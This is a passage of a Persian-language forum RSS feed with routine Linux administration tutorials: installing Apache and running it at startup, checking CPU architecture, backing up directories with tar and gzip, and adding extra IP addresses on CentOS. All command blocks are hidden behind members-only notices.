اجرای فرمان بالا در وضعیت root آپاچی را نصب و اجرا می کند.<br />
<br />
برای نصب در سیستم عامل های بر پایه Debian و Ubuntu نیز می توانید دستوز زیر را اجرا کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<div style="text-align: justify;" class="mycode_align"><span style="color: #008000;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">نصب آپاچی از طریق سورس</span></span><br />
در سیستم عامل های بر پایه Redhat نصب آسان از طریق RPM یا Redhat Package Manager صورت می گیرد. به محض اینکه شما دستور نصب یک بسته نرم افزاری را به RPM می دهید بصورت خودکار چک می کند که بسته نرم افزاری شما به چه پیش نیاز های نرم افزاری نیاز دارد و بصورت خودکار آن را نصب می کند. خب وقتی شما می خواهید وب سرور آپاچی را از طریق سورس نصب کنید باید ملزومات نرم افزاری را بصورت دستی نصب کنید.<br />
<br />
در ابتدا ملزومات آپاچی را نصب می کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
نکته: ممکن است آپاچی نسخه خاصی از نرم افزار های بالا را مد نظر داشته باشد! با این ترتیب ممکن است نرم افزار های مورد نیاز نصب باشد اما بدلیل بالا بودن یا پایین بودن ورژن آپاچی، آن بسته نرم افزاری را قبول نکند. این موضوع ارتباط مستقیم با نسخه آپاچی مورد نظر شما دارد. البته آپاچی در ارور ملزومات ورژن مورد نیاز خود را اعلام می کند، ممکن است RPM ورژنی را نصب کند که آپاچی با آن سازگار نیست در این صورت شما باید بسته نرم افزاری مربوط را از طریق سورس نصب نمایید.<br />
<br />
وارد سایت دیدن لینک ها برای شما امکان پذیر نیست. لطفا <a href="https://forum.romaak.ir/member.php?action=register">ثبت نام کنید</a> یا <a href="https://forum.romaak.ir/member.php?action=login">وارد حساب خود شوید</a> تا بتوانید لینک ها را ببینید.<br />
 شده و نسخه آپاچی مورد نظر خود را دانلود کنید. نسخه پایدار آپاچی در حال حاضر ۲٫۲٫۳۱ است که برای این آموزش این نسخه را دانلود می کنیم.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای ورود به پوشه مربوط به آپاچی و مشاهده تنظیمات آن دستورات زیر را بزنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
با زدن دستورات زیر تنظیمات پیشفرض آپاچی اعمال شده و آپاچی در دایرکتوری پیشفرض خود /usr/local/apache2 نصب می شود. البته ما  DSO را نیز فعال کردیم که قابلیت استفاده و لود ماژول های دلخواه در زمان اجرا را به آپاچی می دهد.<br />
<br />
برای نصب و کانفیگ دستورات زیر را وارد نمایید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
<div style="text-align: justify;" class="mycode_align"><span style="color: #ff6600;" class="mycode_color"><br />
نکته : اگر در زمان کانفیگ با ارور زیر مواجه شدید این پیغام خطا مربوط به نصب نبودن ملزومات نرم افزاری است که در ابتدا توضیح داده شد.</span><br />
<br />
پیغام خطای نمونه :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پیغام خطای بالا مربوط به نصب نبودن gcc است.<br />
<br />
برای اجرا اپاچی میتوانید از دستورات زیر نیز استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color"><br />
فعال کردن اپاچی برای اجرا در Startup سیستم عامل برای حالت نصب آسان – RPM </span> </span><br />
برای یک سرور این یک امر مهم است تا سرویس ها مهم ان در زمان شروع بکار سیستم بعد از maintenance یا restart بصورت خودکار شروع به کار نمایید. برای این کار کافیست سرویس را chkconfig لینوکس قرار دهیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای اطمینان از فعال شدن سرویس در chkconfig دستور زیر را بزنید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
که خروجی باید چیزی شبیه به این باشد :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color"><br />
فعال کردن اپاچی برای اجرا در Startup سیستم عامل برای حالت نصب از سورس</span></span><br />
برای این کار باید فایل etc/rc.d/init.d/httpd را توسط ویرایشگر باز کرده :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این خطوط را مشاهده کرده در صورت نبودن اضافه کنید و در صورت اشتباه بودن ویرایش کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<span style="color: #ff6600;" class="mycode_color"><br />
نکته : یادتان باشد این خطوط به توجه به نصب در حالت پیشفرض در نظر گرفته شده است.</span><br />
<br />
حالا می توانید دستورات زیر را برای نصب در حالت سورس بکار ببرید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای چک کردن وضعیت آپاچی در Startup سیستم نیز می توانید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
</div>
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[شناسایی معماری cpu در سرور و سرور مجازی لینوکسی]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1620</link>
			<pubDate>Sun, 09 Oct 2016 06:35:53 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1620</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">گاها نیاز است برای شما تا اطلاعاتی در مورد cpu سرور خود داشته باشید. اطلاعاتی از قبیل نوع cpu معماری ان ۳۲ بیتی است یا ۶۴ بیتی و … برای بدست آوردن این اطلاعات از دو دستور زیر استفاده می کنم .<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">استفاده از دستور lscpu</span></span><br />
دستور lscpu به اطلاعاتی از قبیل معماری، شرکت تولید کننده و سرعت cpu اشاره می کند.<br />
به خروجی زیر دقت کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
<br />
اطلاعات بالا نشان می دهد این cpu از معماری ۳۲ و ۶۴ بیتی پشتیبانی می کند، سرعت پردازشگر ارائه شده ۲۳۹۴ MHz است و …<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">استفاده از فایل موجود در  proc/cpuinf</span></span><br />
این دستور مانند دستور بالا اطلاعات مربوط به cpu را در اختیار ما قرار می دهد هرچند اطلاعات این دستور کاملتر می باشد.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">گاها نیاز است برای شما تا اطلاعاتی در مورد cpu سرور خود داشته باشید. اطلاعاتی از قبیل نوع cpu معماری ان ۳۲ بیتی است یا ۶۴ بیتی و … برای بدست آوردن این اطلاعات از دو دستور زیر استفاده می کنم .<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">استفاده از دستور lscpu</span></span><br />
دستور lscpu به اطلاعاتی از قبیل معماری، شرکت تولید کننده و سرعت cpu اشاره می کند.<br />
به خروجی زیر دقت کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
</div>
<br />
اطلاعات بالا نشان می دهد این cpu از معماری ۳۲ و ۶۴ بیتی پشتیبانی می کند، سرعت پردازشگر ارائه شده ۲۳۹۴ MHz است و …<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">استفاده از فایل موجود در  proc/cpuinf</span></span><br />
این دستور مانند دستور بالا اطلاعات مربوط به cpu را در اختیار ما قرار می دهد هرچند اطلاعات این دستور کاملتر می باشد.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[گرفتن بکاپ از کل یک دایرکتوری در لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1619</link>
			<pubDate>Sun, 09 Oct 2016 06:30:27 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1619</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">آیا تا به حال خواسته اید تا از کل یک دایرکتوری و زیردایرکتوری های آن بکاپ تهیه کنید؟<br />
انتخاب راه حلی که این عملیات را به صورت بازگشتی انجام دهد تا بتوانید اطاعات ان را در سیستمی دیگر مانند سیستم جازی باز گردانید ضروری خواهد بود.<br />
<br />
دو دستور برای ما کارامد خواهد بود، که نام اولین دستور tar و دومین دستور gzip است. کامند tar از همه فایل ها و دایرکتوری ها فایل پشتیبانی تهیه می کند دستور gzip فایل های ما را فشرده می کند و حجم را کاهش می دهد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">چگونه از کل دایرکتوری بکاپ بگیریم؟</span><br />
با استفاده از دستور زیر از کل دایرکتوری ها و زیر دایرکتوری ها و فایلها که در پوشه  آن قرار دارید بکاپ تهیه می کنید و در دایرکتوری جاری قرار می دهید.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان c : باید یک فایل جدید بسازی</span></span><br />
</li>
<li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان v : اسم اختصاری از verbose گرفته شده و اطلاعات بیشتری در مورد عملیات به ما میدهد.</span></span><br />
</li>
<li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان f : نام فایل ها را به ارشیو می دهد.</span></span><br />
</li>
</ul>
برای مثال من وارد پوشه tmp شده و از همه فایل ها بکاپ گرفتم. خروجی دستور رو مشاهده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
می توانید با دستور ls -l فایل بکاپ گرفته شده را مشاهده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای فشرده سازی نیز باید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور فایلی به نام backup.tar.gz ایجاد می کند.<br />
<span style="font-weight: bold;" class="mycode_b"><br />
نحوه بازیابی فایل بکاپ</span><br />
بعد از انتقال فایل به مقصد در ابتدا باید فایل tar که در مرحل قبل فشرده کردیم از حالت فشرده خارج کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="font-style: italic;" class="mycode_i"><span style="color: #ff6600;" class="mycode_color">ارگومان d : این ارگومان برای خارج سازی فایل از حالت فشرده استفاده میشود.</span></span><br />
</li>
</ul>
برای برگرداندن فایل بکاپ باید از دستور زیر استفاده کنید. توجه داشته باشید این دستور فایل را همانند فایل مبدا برگردان می کند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان x : برای برگرداندن فایل بکاپ استفاده میشود و بلعکس c عمل میکند.</span></span><br />
</li>
</ul>
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">آیا تا به حال خواسته اید تا از کل یک دایرکتوری و زیردایرکتوری های آن بکاپ تهیه کنید؟<br />
انتخاب راه حلی که این عملیات را به صورت بازگشتی انجام دهد تا بتوانید اطاعات ان را در سیستمی دیگر مانند سیستم جازی باز گردانید ضروری خواهد بود.<br />
<br />
دو دستور برای ما کارامد خواهد بود، که نام اولین دستور tar و دومین دستور gzip است. کامند tar از همه فایل ها و دایرکتوری ها فایل پشتیبانی تهیه می کند دستور gzip فایل های ما را فشرده می کند و حجم را کاهش می دهد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">چگونه از کل دایرکتوری بکاپ بگیریم؟</span><br />
با استفاده از دستور زیر از کل دایرکتوری ها و زیر دایرکتوری ها و فایلها که در پوشه  آن قرار دارید بکاپ تهیه می کنید و در دایرکتوری جاری قرار می دهید.<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان c : باید یک فایل جدید بسازی</span></span><br />
</li>
<li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان v : اسم اختصاری از verbose گرفته شده و اطلاعات بیشتری در مورد عملیات به ما میدهد.</span></span><br />
</li>
<li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان f : نام فایل ها را به ارشیو می دهد.</span></span><br />
</li>
</ul>
برای مثال من وارد پوشه tmp شده و از همه فایل ها بکاپ گرفتم. خروجی دستور رو مشاهده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
می توانید با دستور ls -l فایل بکاپ گرفته شده را مشاهده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
برای فشرده سازی نیز باید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور فایلی به نام backup.tar.gz ایجاد می کند.<br />
<span style="font-weight: bold;" class="mycode_b"><br />
نحوه بازیابی فایل بکاپ</span><br />
بعد از انتقال فایل به مقصد در ابتدا باید فایل tar که در مرحل قبل فشرده کردیم از حالت فشرده خارج کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="font-style: italic;" class="mycode_i"><span style="color: #ff6600;" class="mycode_color">ارگومان d : این ارگومان برای خارج سازی فایل از حالت فشرده استفاده میشود.</span></span><br />
</li>
</ul>
برای برگرداندن فایل بکاپ باید از دستور زیر استفاده کنید. توجه داشته باشید این دستور فایل را همانند فایل مبدا برگردان می کند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div><ul class="mycode_list"><li><span style="color: #ff6600;" class="mycode_color"><span style="font-style: italic;" class="mycode_i">ارگومان x : برای برگرداندن فایل بکاپ استفاده میشود و بلعکس c عمل میکند.</span></span><br />
</li>
</ul>
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[اضافه کردن چند آدرس  IP به سرور لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1618</link>
			<pubDate>Sun, 09 Oct 2016 06:20:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1618</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">در خیلی از شرایط مدیریت سرور نیاز هست تا چند ادرس ip بر روی کارت شبکه ما اضافه شود. در این آموزش شما را با چگونگی این عملیات آشنا می کنیم. این آموزش متناسب با توزیع های Centos , Redhat و Fedora می باشد.<br />
<br />
در مرحله اول ما باید تنظیمات مربوط به کارت شبکه را شناسایی کنیم به این منظور به آدرس زیر می رویم:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
بعد از ورود به این دایرکتوری دستور ls را برای مشاهده محتوای دایرکتوری بزنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی بصورت زیر خواهد بود: (البته ستونی )<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">نکته : ممکن است نام کارت شبکه متفاوت باشد مثلا “ens33” و…</span></span><br />
<br />
در نظر بگیرید میخواهیم  ۳ عدد Ip به کارت شبکه اضافه کنیم:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس برای اضافه کردن ۳ ای پی به ۳ عدد پروفایل نیاز داریم. که معماری ای پی اصلی و دیگر ای پی ها بصورت زیر خواهد بود :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
جایی که x: قرار دارد مربوط به شماره NIC ماست (البته مجازی) مانند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
و الی اخر …<br />
 که البته ifcfg:eth0 کارت شبکه اصلی(primary) است …<br />
مجددا به دایرکتوری زیر رفته :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
و از فایل کانفیگ کارت شبکه سه کپی تهیه کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
فایل ifcfg-eth0 را باز کنید تا با متغییر های درون آن آشنا شوید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">نکته netmask و gateway مربوط به کارت شبکه و دیتاسنتر شماست و نیاز به تغییر ندارد.</span></span><br />
<br />
حالا تنها تغییرات ما برای اتمام کار ایجاد تغییر در ۲ متغییر IPADD و DEVICE است.<br />
حالا به ترتیب فایل ها را ویرایش می کنیم (میتوانید با ادیتور nano یا vi این فایل ها را باز کنید )<br />
<br />
<div style="text-align: left;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:0</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:1</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<div style="text-align: left;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:2</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس از ذخیره تغییرات حالا باید سرویس network را ریستارت کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
حالا برای مطمئن شدن از درستی کانفیگ و اضافه شدن Ip ها از دستور ip یا ifconfig استفاده کنید و چک کنید که IP ها اضافه شده باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر از Ip های اضافه شده پینگ بگیرید باید پینگ برگرداند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی بصورت زیر میباشد :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس از اطمینان از عملکرد Ip ها شما میتوانید از ان در اپاچی و ftp استفاده کنید.<br />
<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">در خیلی از شرایط مدیریت سرور نیاز هست تا چند ادرس ip بر روی کارت شبکه ما اضافه شود. در این آموزش شما را با چگونگی این عملیات آشنا می کنیم. این آموزش متناسب با توزیع های Centos , Redhat و Fedora می باشد.<br />
<br />
در مرحله اول ما باید تنظیمات مربوط به کارت شبکه را شناسایی کنیم به این منظور به آدرس زیر می رویم:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
بعد از ورود به این دایرکتوری دستور ls را برای مشاهده محتوای دایرکتوری بزنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی بصورت زیر خواهد بود: (البته ستونی )<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">نکته : ممکن است نام کارت شبکه متفاوت باشد مثلا “ens33” و…</span></span><br />
<br />
در نظر بگیرید میخواهیم  ۳ عدد Ip به کارت شبکه اضافه کنیم:<br />
<br />
